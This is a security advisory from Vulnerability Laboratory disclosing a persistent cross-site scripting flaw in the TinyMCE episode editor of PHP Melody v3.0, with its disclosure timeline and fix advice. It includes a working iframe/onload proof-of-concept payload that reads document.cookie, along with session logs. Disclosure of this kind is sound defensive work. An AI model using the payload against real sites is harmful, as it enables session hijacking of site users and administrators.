Document Title: =============== PHP Melody v3.0 - (Editor) Persistent XSS Vulnerability
References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2291 Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/ Release Date: ============= 2021-10-21 Vulnerability Laboratory ID (VL-ID): ==================================== 2291 Common Vulnerability Scoring System: ==================================== 5.4 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing. Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series, TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS. (Copy of the Homepage: https://www.phpsugar.com/phpmelody.html ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the PHP Melody v3.0 video cms web-application. Affected Product(s): ==================== PHPSUGAR Product: PHP Melody v3.0 - Video CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-09-04: Vendor Response/Feedback (Security Department) 2021-09-22: Vendor Fix/Patch (Service Developer Team) 2021-09-22: Security Acknowledgements (Security Department) 2021-10-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (Moderator Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in PHP Melody v3.0 video cms web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent cross site web vulnerability is located in the video editor (WYSIWYG) with the tinymce class. Privileged user accounts like edtiors are able to inject own malicious script code via editor to provoke a public execution by users oder administrators. The request method to inject is get and after save in dbms via post method the attack vector becomes persistent. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Editor - Videos (WYSIWYG - tinymce) Vulnerable File(s): [+] edit-episode.php Vulnerable Parameter(s): [+] episode_id Affected Module(s): [+] description Proof of Concept (PoC): ======================= The persistent validation vulnerability can be exploited by remote attackers with privileged editor user account and with low user interaction. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. PoC: Payload <p><a title=""><iframe src="//phpmelody.localhost.com:8080/admin/[PWND]">">">" href="https://phpmelody.localhost.com:8080/admin/"><iframe%20src=evil.source onload=alert(document.cookie)>">">">">"></iframe></a></p> --- PoC Session Logss (GET) [WYSIWYG] --- https://phpmelody.localhost.com:8080/admin/[PWND] Host: phpmelody.localhost.com:8080 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer: https://phpmelody.localhost.com:8080/admin/edit-episode.php?episode_id=1 Cookie: PHPSESSID=aac20732ffd23b7d11815fa2b8f2e12a; melody_d900e07810ba03257e53baf46a9ada6f=admin; melody_key_d900e07810ba03257e53baf46a9ada6f=cc33e6eb60d2c1e31a5612bd8c193c88; cookieconsent_dismissed=yes; sidebar-main-state=maxi; watched_video_list=MSw0LDUsNw%3D%3D; pm_elastic_player=normal; aa_import_from=youtube; guest_name_d900e07810ba03257e53baf46a9ada6f=admin - GET: HTTP/2.0 200 OK content-type: text/html; vary: Accept-Encoding Vulnerable Source: Video Editor (WYSIWYG - tinymce) <textarea name="description" cols="100" id="textarea-WYSIWYG" class="tinymce" style="display: none;" aria-hidden="true"><p><test title=""><iframe src="//phpmelody.localhost.com:8080/admin/evil.source">">">" href="https://phpmelody.localhost.com:8080/admin/"><iframe%20src=evil.source onload=alert(document.cookie)>">">">">"></iframe></a></p></textarea> <span class="autosave-message"></span> </div></div> Reference(s): https://phpmelody.localhost.com:8080/admin/ https://phpmelody.localhost.com:8080/admin/edit-episode.php https://phpmelody.localhost.com:8080/admin/edit-episode.php?episode_id=1 Solution - Fix & Patch: ======================= Encode and sanitize the input description parameter of the web editor tinymce class for moderators, editors or users to prevent attacks. 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